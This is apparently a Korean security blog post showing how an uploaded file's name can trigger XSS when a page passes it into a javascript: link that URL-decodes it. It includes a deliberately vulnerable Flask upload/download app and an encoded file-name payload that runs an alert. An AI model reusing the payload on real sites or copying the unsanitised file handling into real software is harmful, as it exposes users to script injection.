Home XSS with Fileupload Name
Post
Cancel

XSS with Fileupload Name

파일 업로드 후 다운로드 받을 때 <a>를 사용하여 javascript를 통해 파일 이름명으로 다운로드 받을 시 URL Encoding을 하여 XSS 취약점이 발생할 수 있습니다.


Source Code

먼저 flask 기반으로 만들어진 소스 코드를 알아 봅시다. 페이지

upload 기능과 download 기능이 존재합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from flask import Flask, render_template, request, send_from_directory
import os

app = Flask(__name__)

# 업로드된 파일이 저장될 폴더
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# 파일 업로드 및 다운로드 페이지 렌더링
@app.route('/')
def index():
    # uploads 폴더에서 파일 목록 가져오기
    files = os.listdir(app.config['UPLOAD_FOLDER'])
    return render_template('index.html', files=files)

# 파일 업로드 처리
@app.route('/upload', methods=['POST'])
def upload():
    # 업로드된 파일 가져오기
    file = request.files['file']
    filename = file.filename
    # 파일 저장
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
    return 'File uploaded successfully.'

# 파일 다운로드 처리
@app.route('/download/<filename>', methods=['GET'])
def download(filename):
    # 파일이 저장된 폴더에서 파일 다운로드
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename, as_attachment=True)

if __name__ == '__main__':
    # uploads 폴더가 없으면 생성
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run()

index.html 코드 입니다. 중요한 점은 <a> 를 사용하여 javascript로 file 이름을 받아서 location.href를 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
    <title>File Upload and Download</title>
</head>
<body>
    <h1>File Upload</h1>
    <form method="POST" action="/upload" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="Upload">
    </form>

    <h1>File Download</h1>
    <ul>
        
    </ul>
    <script>
        function download(filename) {
            window.location.href = '/download/' + filename;
        }
    </script>
</body>
</html>


FileName XSS?

만약 파일 이름에 test.txt%27);alert(`glasses`);(%27.txt 이렇게 저장하면 어떻게 될까요?

html 코드에는 아래와 같이 저장 됩니다.

1
<a href="javascript:download('test.txt%27);alert(`glasses`);(%27 .txt')">test.txt%27);alert(`glasses`);(%27 .txt</a>

이중에서 핵심 코드를 보면 아래와 같이 됩니다.

1
2
URL Decoding 전 : <a href="javascript:download('test.txt%27);alert(`glasses`);(%27 .txt')">
URL Decoding 후 : <a href="javascript:download('test.txt');alert(`glasses`);('.txt')">  

XSS 취약점이 발생합니다.

XSS

How FileName XSS?

아래의 코드로 테스트를 다시 해봅시다. https://와 같이 scheme은 URL Decoding을 처리하지 않네여

1
<a href="https://%77%77%77%2E%6E%61%76%65%72%2E%63%6F%6D">naver</a>

a태그

결론은 <a href="~~~"> 에서 href안에 javascript로 동작하는 경우 사용자가 입력 가능한 데이터가 들어가게 될 경우 URL Decoding이 적용되기 때문에 이를 이용하여 URL Encoding을 적용하여 XSS가 터질 수 있습니다.